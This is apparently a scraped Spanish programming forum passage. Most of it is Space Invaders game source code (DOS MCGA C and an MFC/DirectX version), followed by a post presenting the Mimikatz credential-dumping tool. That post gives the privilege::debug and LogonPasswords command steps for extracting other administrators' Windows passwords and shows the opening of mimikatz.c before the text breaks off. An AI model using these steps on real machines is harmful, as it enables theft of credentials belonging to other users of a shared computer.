              {f2=2;exp=2;col=p+150;cont=0;}}
            }
}
/*********************************************************/**************************************************************************
 *  Elimina la fila de las naves malas y Escribe Explocion 1              *
 *                                                                        *
 **************************************************************************/
void eliminanv1(byte nvmala[16][23],int &p,int &h,int &a1,int &b1,int &c1,int &d1,int &e1,int &f1,int &by,int &bx,int &sum,int &exp,int &col,int &cont,int y1,float &punt)// 3 renglon de naves
{
respnvmala(nvmala,y1,p);//nave mala,y,x
   
     
        //***************************************** nave 1,1
        if(a1==1 && ((by<y1+16 && by>y1)  && (bx>p && bx<p+23)))
            {a1=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 1,2
        if(b1==1 && ((by<y1+16 && by>y1) && (bx>p+30 && bx<p+53)))
            {b1=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 1,3
        if(c1==1 && ((by<y1+16 && by>y1) && (bx>p+60 && bx<p+83)))
            {c1=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 1,4
        if(d1==1 && ((by<y1+16 && by>y1) && (bx>p+90 && bx<p+113)))
            {d1=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 1,5
        if(e1==1 && ((by<y1+16 && by>y1) && (bx>p+120 && bx<p+143)))
            {e1=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 1,6
        if(f1==1 && ((by<y1+16 && by>y1) && (bx>p+150 && bx<p+173)))
            {f1=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}
   
        //***************************************** eliminando naves
        if(a1==1)
            MCGAnvmala(nvmala,y1,p);// 1 nave mala,y,x
        if(b1==1)   
            MCGAnvmala(nvmala,y1,p+30);// 2 nave mala,y,x
        if(c1==1)
            MCGAnvmala(nvmala,y1,p+60);// 3 nave mala,y,x
        if(d1==1)   
            MCGAnvmala(nvmala,y1,p+90);// 4 nave mala,y,x
        if(e1==1)   
            MCGAnvmala(nvmala,y1,p+120);// 5 nave mala,y,x
        if(f1==1)   
            MCGAnvmala(nvmala,y1,p+150);// 6 nave mala,y,x
       
   
          if(exp==4)
            {respexplo(explo4,y1,col);
            MCGAexplo(explo4,y1,col);
            exp=0;}
          if(exp==3)
            {respexplo(explo3,y1,col);
            MCGAexplo(explo3,y1,col);
            exp=4;}
          if(exp==2)
            {respexplo(explo2,y1,col);
            MCGAexplo(explo2,y1,col);
            exp=3;} 
         
          if(exp==1)
          {
            respexplo(explo1,y1,p);//nave mala,y,x
            if(a1==0)
              {MCGAexplo(explo1,y1,p);
              cont++;
              if(cont==4)
              {a1=2;exp=2;col=p;cont=0;}}
            if(b1==0)   
              {MCGAexplo(explo1,y1,p+30);
              cont++;
              if(cont==4)
              {b1=2;exp=2;col=p+30;cont=0;}}
            if(c1==0)
              {MCGAexplo(explo1,y1,p+60);
              cont++;
              if(cont==4)
              {c1=2;exp=2;col=p+60;cont=0;}}
            if(d1==0)   
              {MCGAexplo(explo1,y1,p+90);
              cont++;
              if(cont==4)
              {d1=2;exp=2;col=p+90;cont=0;}}
            if(e1==0)   
              {MCGAexplo(explo1,y1,p+120);
              cont++;
              if(cont==4)
              {e1=2;exp=2;col=p+120;cont=0;}}
            if(f1==0)   
              {MCGAexplo(explo1,y1,p+150);
              cont++;
              if(cont==4)
              {f1=2;exp=2;col=p+150;cont=0;}}
            }
         
}
/*********************************************************/**************************************************************************
 *  Escribe Balas Nave Mala                                              *
 *                                                                        *
 **************************************************************************/
void balamala(byte nbbala[6][1],int r,int c)// bala
  {
    char far *ptr = (char far *)0x0A0000000;
  ptr+=320*r+c;
    for (unsigned int i=0;i<6;i++)//"y"
    {
      for (unsigned int j=0;j<1;j++)//"X"
      {
        *ptr = nbbala[i][j];
              ptr++;
      }
    ptr+=320-1;//"X"
    }
  }
/*********************************************************/**************************************************************************
 *  Escribe Balas Naves Malas 3                                            *
 *                                                                        *
 **************************************************************************/
void balasmalas3(int &rev, int &n, int &n1,int &n2,int &bm,int &a1,int &b1,int &c1,int &d1,int &e1,int &f1, int &h, int &p, int vel,int y3)
{
      if(rev==1)
        {do{n=random(7);}while(n==0);}
     
      if(h==34)
      {
        if(bm==y3)
        {
        if(n==1 && a1==1)
        {n1=p+3;n2=p+19;}
        if(n==2 && b1==1)
        {n1=p+33;n2=p+49;}
        if(n==3 && c1==1)
        {n1=p+63;n2=p+79;}
        if(n==4 && d1==1)
        {n1=p+93;n2=p+109;}
        if(n==5 && e1==1)
        {n1=p+123;n2=p+139;}
        if(n==6 && f1==1)
        {n1=p+153;n2=p+169;}
        }
       
        if(n==1 && a1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==2 && b1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==3 && c1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==4 && d1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==5 && e1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==6 && f1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
      }
      bm=bm+vel;
      if(bm>190)
        {bm=y3;rev=1;n1=0;n2=0;}
}
/*********************************************************/**************************************************************************
 *  Escribe Balas Naves Malas 2                                            *
 *                                                                        *
 **************************************************************************/
void balasmalas2(int &rev, int &n, int &n1,int &n2,int &bm,int &a1,int &b1,int &c1,int &d1,int &e1,int &f1, int &h, int &p, int vel,int y2)
{
      if(rev==1)
        {do{n=random(7);}while(n==0);}
     
      if(h==60)
      {
        if(bm==y2)
        {
        if(n==1 && a1==1)
        {n1=p+3;n2=p+19;}
        if(n==2 && b1==1)
        {n1=p+33;n2=p+49;}
        if(n==3 && c1==1)
        {n1=p+63;n2=p+79;}
        if(n==4 && d1==1)
        {n1=p+93;n2=p+109;}
        if(n==5 && e1==1)
        {n1=p+123;n2=p+139;}
        if(n==6 && f1==1)
        {n1=p+153;n2=p+169;}
        }
       
        if(n==1 && a1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==2 && b1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==3 && c1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==4 && d1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==5 && e1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==6 && f1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
      }
      bm=bm+vel;
      if(bm>190)
        {bm=y2;rev=1;n1=0;n2=0;}
}
/*********************************************************/**************************************************************************
 *  Escribe Balas Naves Malas 1                                            *
 *                                                                        *
 **************************************************************************/
void balasmalas1(int &rev, int &n, int &n1,int &n2,int &bm,int &a1,int &b1,int &c1,int &d1,int &e1,int &f1, int &h, int &p,int vel,int y1)
{
      if(rev==1)
        {do{n=random(7);}while(n==0);}
     
      if(h==80)
      {
        if(bm==y1)
        {
        if(n==1 && a1==1)
        {n1=p+3;n2=p+19;}
        if(n==2 && b1==1)
        {n1=p+33;n2=p+49;}
        if(n==3 && c1==1)
        {n1=p+63;n2=p+79;}
        if(n==4 && d1==1)
        {n1=p+93;n2=p+109;}
        if(n==5 && e1==1)
        {n1=p+123;n2=p+139;}
        if(n==6 && f1==1)
        {n1=p+153;n2=p+169;}
        }
       
        if(n==1 && a1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==2 && b1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==3 && c1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==4 && d1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==5 && e1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
        if(n==6 && f1==1)
        {balamala(bala,bm,n1);
        balamala(bala,bm,n2);rev=0;}
      }
      bm=bm+vel;
      if(bm>190)
        {bm=y1;rev=1;n1=0;n2=0;}
}
/*********************************************************/**************************************************************************
 *  Respaldo Puntuacion                                                  *
 *                                                                        *
 **************************************************************************/
void respunt(byte oso[20][12], int renglon, int columna)//oso[20]"Y" [12]"X"
{
  char far *ptr = (char far *)0xA0000000;  //ptr apunta a inicio de MCGA

  ptr += 320*renglon + columna;

  for (int i=0;i<10;i++)//"Y" mitad
  {
      for (int j=0;j<12;j++)//"X"
      {
          oso[10+i][j] = *ptr;
          ptr++;
      }
      ptr += 320 - 12;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Escribe Puntuacion                                                    *
 *                                                                        *
 **************************************************************************/
void MCGApunt(byte nave[10][12], int r, int c)//nave[16]"y" [23]"x"
{
    char far *ptr = (char far *)0x0A0000000;
  ptr+=320*r+c;
    for (unsigned int i=0;i<10;i++)//"y"
    {
      for (unsigned int j=0;j<12;j++)//"X"
      {
        if (nave[i][j]==0)
          {
            *ptr=nave[i+10][j];//"Y"
          }
        else
          *ptr = nave[i][j];
            ptr++;
      }
    ptr+=320-12;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Escribe la Puntuacion  obtenida                                      *
 *                                                                        *
 **************************************************************************/
void puntua( int suma)
  {
    if(suma<=1)
      {respunt(cero,1,90);
      MCGApunt(cero,1,90);}
    if(suma>1 && suma<=2)
      {respunt(uno,1,90);
      MCGApunt(uno,1,90);}
    if(suma>2 && suma<=4)
      {respunt(dos,1,90);
      MCGApunt(dos,1,90);}
    if(suma>4 && suma<=6)
      {respunt(tres,1,90);
      MCGApunt(tres,1,90);}
    if(suma>6 && suma<=8)
      {respunt(cuatro,1,90);
      MCGApunt(cuatro,1,90);}
    if(suma>8 && suma<=10)
      {respunt(cinco,1,90);
      MCGApunt(cinco,1,90);}
    if(suma>10 && suma<=12)
      {respunt(seis,1,90);
      MCGApunt(seis,1,90);}
    if(suma>12 && suma<=14)
      {respunt(siete,1,90);
      MCGApunt(siete,1,90);}
    if(suma>14 && suma<=16)
      {respunt(ocho,1,90);
      MCGApunt(ocho,1,90);}
    if(suma>16 && suma<=17)
      {respunt(nueve,1,90);
      MCGApunt(nueve,1,90);}
    if(suma>17 && suma<=18)
      {respunt(uno,1,90);
      MCGApunt(uno,1,90);
      respunt(cero,1,100);
      MCGApunt(cero,1,100);}
  }
/*********************************************************/**************************************************************************
 *  Escribe Salud descontando                                            *
 *                                                                        *
 **************************************************************************/ 
void life(int &desc, int &vidas)
  {
      if(desc==10)
      {
      respunt(uno,1,168);
      MCGApunt(uno,1,168);
      respunt(cero,1,178);
      MCGApunt(cero,1,178);
      }
      if(desc==5)
      {
      respunt(cinco,1,168);
      MCGApunt(cinco,1,168);
      }
      if(desc==0)
      {desc=10;vidas=vidas-1;}
  }

void danonvbuena( int &n1, int &n2, int &bm, int &y, int &x, int &desc,float &punt)
{
  if((bm>y+6 && bm<y+22) && ((n1>x && n1<x+42) || (n2>x && n2<x+42)))
      {desc=desc-5;bm=200;punt=punt-0.5;}
}

void explcionbuena(int &exp, int &y, int &x, int &cont)
    {
          if(exp==0)
            {exp=7;}
          if(exp==5)
            {exp=0;respnvbuena(nvexpo5,y,x);
            MCGAnvbuena(nvexpo5,y,x);
            }
          if(exp==4)
            {exp=5;respnvbuena(nvexpo4,y,x);
            MCGAnvbuena(nvexpo4,y,x);
            }
          if(exp==3)
            {exp=4;respnvbuena(nvexpo3,y,x);
            MCGAnvbuena(nvexpo3,y,x);
            }
          if(exp==2)
            {exp=3;respnvbuena(nvexpo2,y,x);
            MCGAnvbuena(nvexpo2,y,x);
            }
          if(exp==1)
            {respnvbuena(nvexpo1,y,x);
            MCGAnvbuena(nvexpo1,y,x);
            cont--;
            if(cont==0)
              {exp=2;}
            }
    }

/*********************************************************/**************************************************************************
 *  Mueve el Fondo, Mueve la nave y llama todas las funciones            *
 *                                                                        *
 **************************************************************************/
void moverfondo(int i, int y, int x, int velnv, int velnvm, int velbalb, int velbalm, int vel, int &total, byte &sc,int &salte)
{
  char car;
  int cont=0,cont2=0,p=0,cont3,by,bx,activar=0,quita,b=1,sum=0,h=80;
  int a1=1,b1=1,c1=1,d1=1,e1=1,f1=1,a2=1,b2=1,c2=1,d2=1,e2=1,f2=1,a3=1,b3=1,c3=1,d3=1,e3=1,f3=1,exp1=0,exp2=0,exp3=0, col=0,con=0;
  int n,bm=81,rev=1,n1=0,n2=0,blsm=1,desc=10,q=3,off=6,dis=5,y3=30,y2=50,y1=70,dw=1;
  float puntu=0.0;
  int izquierda=0,derecha=147,q1=1;
  do
  {
    cont2=cont2+1;
      if(i==17)
          {cont=1;}
      if(i==30)
          {cont=0;}
      if(cont==1)
          {i=i+1;}
      if(cont==0)
          {i=i-1;}
    fondo(i,cont);// escribe el fondo y lo hace rotar
    respvidas(vidas,1,200);//vidas,y,x
    MCGAvidas(vidas,1,200);//vidas,y,x
    respnv_vidas(nv_vidas,0,246);//nave vidas,y,x
    filanvvidas(246,q);//nave vidas,y,x
    respsalud(salud,1,120);//salud,y,x
    MCGAsalud(salud,1,120);//salud,y,x
    respunt(puntuacion,1,1);//puntuacion,y,x
    MCGApunt(puntuacion,1,1);//puntuacion,y,x
    if(off==6)
    {respnvbuena(nvbuena,y,x);//nave buena,y,x
    MCGAnvbuena(nvbuena,y,x);}//nave buena,y,x
    if(cont2==1)
      {
      muevenvmalas(p,cont3,velnvm,y3,y2,y1,izquierda,derecha);// mueve naves malas 1
      cont2=0;
      }
     
      puntua(sum);// sumatoria de puntuacion
      life(desc,q);//resta la vida
     
      if(q==0 && off==6)
        {off=1;}
     
      if(((y1+15>=y && dw==1) && blsm==1)||((y2+15>=y && dw==1) && blsm==2))
      {off=1;dw=2;}
      if(((y3+15>=y && dw==1) && blsm==3))
      {off=1;dw=2;}
       
      explcionbuena(off,y,x,dis);
     
      if(off==7)
      {sc=45;}
     
     
      eliminanv1(nvmala,p,h,a1,b1,c1,d1,e1,f1,by,bx,sum,exp1,col,con,y1,puntu);//colisiones
      eliminanv2(nvmala,p,h,a2,b2,c2,d2,e2,f2,by,bx,sum,exp2,col,con,y2,puntu);
      eliminanv3(nvmala,p,h,a3,b3,c3,d3,e3,f3,by,bx,sum,exp3,col,con,y3,puntu);
     
      if((f1==2 && f2==2)&& f3==2)
      {derecha=176;
        if((e1==2 && e2==2)&& e3==2)
        {derecha=206;
          if((d1==2 && d2==2)&& d3==2)
          {derecha=236;
            if((c1==2 && c2==2)&& c3==2)
              {derecha=266;
              if((b1==2 && b2==2)&& b3==2)
              {derecha=296;
              }
            }
          }
        }
      }
     
      if((a1==2 && a2==2)&& a3==2)
      {  izquierda=-30;
          if((b1==2 && b2==2)&& b3==2)
          {  izquierda=-60;
            if((c1==2 && c2==2)&& c3==2)
            {  izquierda=-90;
                if((d1==2 && d2==2)&& d3==2)
                {  izquierda=-120;
                    if((e1==2 && e2==2)&& e3==2)
                      {izquierda=-150;}
                }
            }
          }
      }
     
         
        if(activar==1)//*************************************** bala  1
      {
        balamover(bala,by,bx);
          by=by-velbalb;
          if(by<40)
          {activar=0;by=0;}
          b=0;
      }
      else
        b=1;
   
     
      if(blsm==1)
      balasmalas1(rev,n,n1,n2,bm,a1,b1,c1,d1,e1,f1,h,p,velbalm,y1);// aki para bajar balas
      if(blsm==2)
      balasmalas2(rev,n,n1,n2,bm,a2,b2,c2,d2,e2,f2,h,p,velbalm,y2);
      if(blsm==3)
      balasmalas3(rev,n,n1,n2,bm,a3,b3,c3,d3,e3,f3,h,p,velbalm,y3);
     
      danonvbuena(n1,n2,bm,y,x,desc,puntu);
   
           
      if(sum==6)
        {h=60;blsm=2;} 
      if(sum==12)
        {h=34;blsm=3;}
      if(sum==18)
        {sc=45;}
    checa_tecla(car,sc);
   
    total=puntu*100;
     
    delay(vel);// velocidad
    switch(sc)
    {
      case 72 : if(y>160)
                  y=y-2;
                  if(off==6)
                  {respnvbuena(nvbuena,y,x);
                  MCGAnvbuena(nvbuena,y,x);}
                  if(vel>15)
                  vel=vel-1;
                  sc=0;
                break;
      case 80 : if(y<179)
                  y=y+2;
                  if(off==6)
                  {respnvbuena(nvbuena,y,x);
                  MCGAnvbuena(nvbuena,y,x);}
                  if(vel<35)
                  vel=vel+1;
                  sc=0;
                break;
      case 75 : if(x>0)
                  x=x-velnv;//5
                  if(off==6)
                  {respnvbuena(nvbuena,y,x);
                  MCGAnvbuena(nvbuena,y,x);}
                  sc=0;
                break;
      case 77 : if(x<277)
                  x=x+velnv;//5
                  if(off==6)
                  {respnvbuena(nvbuena,y,x);
                  MCGAnvbuena(nvbuena,y,x);}
                  sc=0;
                break;
      case 57 : if(b==1)
                {
                activar=1;
                by=y-6;
                bx=x+20;
                sc=0;}
                break;
      case 25 :
      getch();
                sc=0;
                break;
      case 45 :
                salte=1;
                sc=1;
                break;
    }
     
     
  }while(sc!=1);
}
void read_hist (alumno lista[], int cuantos)
{
  int i=0;
 
  ifstream file ("hi_sco.txt");
  if (!file.fail())
    {
      while(i<cuantos)
        {
          file >> lista[i].nombre >> lista[i].punt;
          i++;
        }
    }
  else
    {
      cout << "\tERROR!!! \n\n No se encontro el archivo 'hi_sco.txt'\n";
      getch();
      return;
    }
  file.close();
}


void escribe_hist (alumno lista[], int cuantos)
{
  int i=0;
 
  ofstream outfile ("hi_sco.txt");
  if (!outfile.fail())
  {
    while (i<cuantos)
      {
        outfile << lista[i].nombre <<" " << lista[i].punt << endl;
        i++;
      }
  }
  outfile.close();
}


void cambiar_hist (int score, alumno lista[], int cuantos)
{
  int a=-99;
  int clr=1;
  char nombre[10];
 
  for (int i=cuantos-1 ; i>=0 ; i--)
    if (score>lista[i].punt)
      {
        a = i;
      }
 
  if (a!=-99)
    {
      clrscr();
      cout << "\n\tFelizidades!!!\n\n\tRealizaste una puntuacion entre los primeros 10!\n\n\n"
          << "\tEntra tu Nombre (maximo 10 letras):\t";
      cin.getline (nombre,10);
      for (i=0;i<10;i++)
        if (nombre[i]=='\0')
        {
          clr=0;
          break;
        }
      if (clr)
      {
        cin.clear();
        cin.ignore(256,'\n');
      }
     
      for (i=cuantos-1 ; i>a ; i--)
        {
          strcpy(lista[i].nombre, lista[i-1].nombre);
          lista[i].punt = lista[i-1].punt;
        }
      strcpy(lista[a].nombre, nombre);
      lista[a].punt = score;
      escribe_hist(lista, cuantos);
    }
}
     

void historial (alumno lista[], int cuantos)
{
  int i=0;
 
  clrscr();
  cout << "\t\t*High Scores*\n"
      << "\t\t=============\n\n"
      << "\tNombre\t\t\tScore\n\n";
  for (i=0 ; i<cuantos ; i++)
    cout << "\t" << lista[i].nombre << "\t \t \t " << lista[i].punt<<endl;
  cout << "\n\n\n\n\tTecla cualquier tecla para regresar";
  getch();
}

//jueves 3  3:30

void main()
{
byte scan;
int nivel, puntuacion;
alumno lista[10];
  int cuantos=10,end;
 
  video(19);
  moverfondo(18,170,130,9,3,4,5,25,puntuacion,scan,end);//5=movieminto nave buena, 1= moviemiento nave mala, 2=velocidad balas buenas, 3=velocidad nbalas malas
video(2);
  read_hist(lista, cuantos);
  if(end==1)
  {cambiar_hist(puntuacion, lista, cuantos);}
  escribe_hist(lista, cuantos);
  read_hist(lista,cuantos);
  if(end==1)
  {historial(lista,cuantos);}
}

Codigo en MFC

Código:

// GameCode.cpp                Version 7                        8/12/03       
// These three functions form the basis of a game loop in the window created in the
// wincode.cpp file



#include "gamecode.h"
#include <math.h>                                // Math stuff
#include <stdlib.h>                                // Standard stuff
#include <dsound.h>                                // Direct sound
#include "mydrawengine.h"
#include "mypicture.h"
#include "mysoundengine.h"
#include "mysound.h"
#include "myinputs.h"
#include <time.h>

#include "Collision.h"
#include "ExplosionCollection.h"
#include "InvaderCollection.h"
#include "WeaponCollection.h"
#include "Player.h"


MyDrawEngine* pTheDrawEngine;        // A pointer to the drawing engine
MySoundEngine* pTheSoundEngine;        // A pointer to the sound engine

extern HWND gHwnd;                                // A handle to the main window application (created and declared in wincode.cpp).
extern HINSTANCE g_hinstance;        // A handle to the program instance

// The game !!! *********************************************************************************

        MyInputs* pTheInputs;
       
        CInvaderCollection*    pInvaders;
        CExplosionCollection*  pExplosions;
        CWeaponCollection*    pWeapons;
        CPlayer*              pPlayer;
       
        RECT rgrClipperRects[1];
       
        bool SpaceDown = false;
        int DeBugg = 0;

int GameInit()
// Called once before entering game loop.
// Use this function to set up the program
// gHwnd is the handle to the window and is required by the constructors for the engines
{
        // Create the engines
        pTheDrawEngine = new MyDrawEngine(SCREENWIDTH, SCREENHEIGHT, COLOURDEPTH, gHwnd);
        pTheSoundEngine = new MySoundEngine(gHwnd);
        pTheInputs=new MyInputs(g_hinstance, gHwnd);
       
        // Set up the Clipper...
        rgrClipperRects[0].top    = 0;
        rgrClipperRects[0].bottom = 600;
        rgrClipperRects[0].left  = 0;
        rgrClipperRects[0].right  = 800;
       
        pTheDrawEngine->SetClipper(1,rgrClipperRects);
       
        // Make the Invaders Collection...
        pInvaders = new CInvaderCollection;
        pInvaders->InitFormation();
       
        // Make the Explosions Collection...
        pExplosions = new CExplosionCollection;
       
        // make the Weapon Collection...
        pWeapons = new CWeaponCollection;
       
        // Make the Player Object...
        pPlayer = new CPlayer;
       
        InitRandom();
       
        return (SUCCESS);
}

// ******************************************************************

int GameMain()
// Called repeatedly - the game loop
{
int i = 0;
int j = 0;
RECT tmpOver;
       
        if (KEYPRESSED('Q'))
        {
                pInvaders->Kill(GetRandNum(0, 39));
        }
       
        if (KEYPRESSED('W'))
        {
                pInvaders->Invader[GetRandNum(0, 39)]->Active = true;
        }
       
        if (pPlayer->Damage[0] < 100)
        {
                pPlayer->Damage[0] += 0.1;
        }
       
        if (pPlayer->Damage[1] < 100)
        {
                pPlayer->Damage[1] += 0.1;
        }
       
        if (pPlayer->Damage[2] < 100)
        {
                pPlayer->Damage[2] += 0.1;
        }
       
       
       
//        ##----MOVEMENT----##  \\
       
        pInvaders->MoveFormation();
        pWeapons->Move();
        pExplosions->Animate();
        pPlayer->Move();
       
       
       
//        ##----COLISIONS----##  \\
       
        for (j = 0; j < MAX_WEAPON_COUNT; j++)
        {
                if (pWeapons->Weapon[j]->Active)
                {
                        if (pWeapons->Weapon[j]->FiredBy != 2)
                        {
                                for (i = 0; i < MAX_INVADER_COUNT; i++)
                                {
                                        if (pInvaders->Invader[i]->Active)
                                        {
                                                if (CheckRECTColl(pInvaders->Invader[i]->DestRect, pWeapons->Weapon[j]->DestRect, tmpOver))
                                                {
                                                        pInvaders->Kill(i);
                                                        pWeapons->Weapon[j]->Active = false;
                                                }
                                        }
                                }
                        }
                       
                        if (pWeapons->Weapon[j]->FiredBy != 1)
                        {
                                if (CheckRECTColl(pPlayer->DestRECT[0], pWeapons->Weapon[j]->DestRect, tmpOver))
                                {
                                        pExplosions->CreateExplosion((pPlayer->DestRECT[0].left + pPlayer->DestRECT[0].right) / 2,
                                                                                                (pPlayer->DestRECT[0].top + pPlayer->DestRECT[0].bottom) / 2, 3);
                                       
                                        pWeapons->Weapon[j]->Active = false;
                                        pPlayer->Damage[0] -= 80;
                                        if (pPlayer->Damage[0] < 0)
                                        {
                                                pPlayer->Damage[0] = 0;
                                        }
                                }
                               
                                if (CheckRECTColl(pPlayer->DestRECT[1], pWeapons->Weapon[j]->DestRect, tmpOver))
                                {
                                        pExplosions->CreateExplosion((pPlayer->DestRECT[1].left + pPlayer->DestRECT[1].right) / 2,
                                                                                                (pPlayer->DestRECT[1].top + pPlayer->DestRECT[1].bottom) / 2, 2);
                                       
                                        pWeapons->Weapon[j]->Active = false;
                                        pPlayer->Damage[1] -= 80;
                                        if (pPlayer->Damage[1] < 0)
                                        {
                                                pPlayer->Damage[1] = 0;
                                        }
                                }
                               
                                if (CheckRECTColl(pPlayer->DestRECT[2], pWeapons->Weapon[j]->DestRect, tmpOver))
                                {
                                        pExplosions->CreateExplosion((pPlayer->DestRECT[2].left + pPlayer->DestRECT[2].right) / 2,
                                                                                                (pPlayer->DestRECT[2].top + pPlayer->DestRECT[2].bottom) / 2, 3);
                                       
                                       
                                        pWeapons->Weapon[j]->Active = false;
                                        pPlayer->Damage[2] -= 80;
                                        if (pPlayer->Damage[2] < 0)
                                        {
                                                pPlayer->Damage[2] = 0;
                                        }
                                }
                        }
                }
        }
       
       
       
//        ##----DRAWING----##  \\
       
        pInvaders->Draw();
        pWeapons->Draw();
        pPlayer->Draw();
        pExplosions->Draw();
       
        pTheDrawEngine->Flip();
        pTheDrawEngine->ClearBackBuffer();
       
        return SUCCESS;
}

// ***********************************************************

void GameShutdown()
// called after the game loop is finished
{
        // Release all memory and directX interfaces
       
        delete pInvaders;
        delete pExplosions;
        delete pWeapons;
        delete pPlayer;
       
        // (engines must be released last)
        pTheDrawEngine->Release();
        pTheSoundEngine->Release();
        pTheInputs->Release();
}

void InitRandom ()
{
        srand(time(NULL));
}

int GetRandNum (int LLimit, int ULimit)
{
        int rValue = 0;  // Used to store the return value
       
        if (LLimit == ULimit)
        {
                rValue = LLimit;
        }
        else if (ULimit < LLimit) // Incase the caller has them the wrong way round.
        {
                rValue = (rand() % (LLimit - ULimit + 1)) + ULimit;
        }
        else
        {
                rValue = (rand() % (ULimit - LLimit + 1)) + LLimit;
        }
        return rValue;
}

Video Tutorial





Uploadable.net - #1 [C] Space Invaders
Uploadable.net - #2 [C-SDL] Space Invaders
Uploadable.net - #3 [C++] Space Invaders (1)
Uploadable.net - #4 [C++] Space Invaders (2)
Uploadable.net - #5 [MFC] Space Invaders

[C] Mimikatz 2.0 alpha: Descifrador de Contraseñas

$
0
0

Mimikatz 2.0
Descifra contraseñas en Windows


Mimikatz es un programa de un desarrollador fracés apodado Gentil Kiwi que nos servirá para descifrar las contraseñas de los administradores de un PC con Windows, algo que puede ser muy útil cuando compartes un ordenador y no eres el único administrador.

Funcionamiento:

Ejecutamos Mimikatz como administrador.


Primero escribimos privilege::debug y presionamos Enter, después escribimos minidump y presionamos Enter, a continuación escribimos LogonPasswords y presionamos Enter y nos aparecerán la(s) contraseñas.


Codigo Fuente

mimikatz.c

Código:

/*        Benjamin DELPY `gentilkiwi`
        http://blog.gentilkiwi.com
        benjamin@gentilkiwi.com
        Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "mimikatz.h"

const KUHL_M * mimikatz_modules[] = {
        &kuhl_m_standard,
        &kuhl_m_crypto,
        &kuhl_m_sekurlsa,
        &kuhl_m_kerberos,
        &kuhl_m_privilege,
        &kuhl_m_process,
        &kuhl_m_service,
        &kuhl_m_lsadump,
        &kuhl_m_ts,
        &kuhl_m_event,
        &kuhl_m_misc,
        &kuhl_m_token,
        &kuhl_m_vault,
        &kuhl_m_minesweeper,
#ifdef NET_MODULE
        &kuhl_m_net,
#endif
        &kuhl_m_dpapi,
};

int wmain(int argc, wchar_t * argv[])
{
        int i, status = STATUS_SUCCESS;
#ifndef _WINDLL
        size_t len;
        wchar_t input[0xffff];
        kull_m_output_init();
        SetConsoleTitle(MIMIKATZ L" " MIMIKATZ_VERSION L" " MIMIKATZ_ARCH L" (oe.eo)");
        SetConsoleCtrlHandler(HandlerRoutine, TRUE);
#endif
        kprintf(L"\n"
                L"  .#####.  " MIMIKATZ_FULL L"\n"
                L" .## ^ ##.  \n"
                L" ## / \\ ##  /* * *\n"
                L" ## \\ / ##  Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"
                L" '## v ##'  http://blog.gentilkiwi.com/mimikatz            (oe.eo)\n"
                L"  '#####'    " MIMIKATZ_SPECIAL L" with %2u modules * * */\n\n", ARRAYSIZE(mimikatz_modules));
       
        mimikatz_initOrClean(TRUE);
        for(i = MIMIKATZ_AUTO_COMMAND_START ; (i < argc) && (status != STATUS_FATAL_APP_EXIT) ; i++)
        {
                kprintf(L"\n" MIMIKATZ L"(" MIMIKATZ_AUTO_COMMAND_STRING L") # %s\n", argv[i]);
                status = mimikatz_dispatchCommand(argv[i]);
        }
#ifndef _WINDLL
        while (status != STATUS_FATAL_APP_EXIT)
        {
                kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin);
                if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'\n'))
                {
                        if(input[len - 1] == L'\n')
                                input[len - 1] = L'\0';
                        kprintf_inputline(L"%s\n", input);
                        status = mimikatz_dispatchCommand(input);
                }
        }
#endif
        mimikatz_initOrClean(FALSE);
#ifndef _WINDLL
        kull_m_output_clean();
#endif
        return STATUS_SUCCESS;
}

BOOL WINAPI HandlerRoutine(DWORD dwCtrlType)
{
        mimikatz_initOrClean(FALSE);
        return FALSE;
}

NTSTATUS mimikatz_initOrClean(BOOL Init)
{
        unsigned short indexModule;
        PKUHL_M_C_FUNC_INIT function;
        long offsetToFunc;
        NTSTATUS fStatus;

        if(Init)
        {
                RtlGetNtVersionNumbers(&MIMIKATZ_NT_MAJOR_VERSION, &MIMIKATZ_NT_MINOR_VERSION, &MIMIKATZ_NT_BUILD_NUMBER);
                MIMIKATZ_NT_BUILD_NUMBER &= 0x00003fff;

                offsetToFunc = FIELD_OFFSET(KUHL_M, pInit);
                kull_m_busylight_start();
        }
        else
                offsetToFunc = FIELD_OFFSET(KUHL_M, pClean);

        for(indexModule = 0; indexModule < ARRAYSIZE(mimikatz_modules); indexModule++)
        {
                if(function = *(PKUHL_M_C_FUNC_INIT *) ((ULONG_PTR) (mimikatz_modules[indexModule]) + offsetToFunc))
                {
                        fStatus = function();
                        if(!NT_SUCCESS(fStatus))
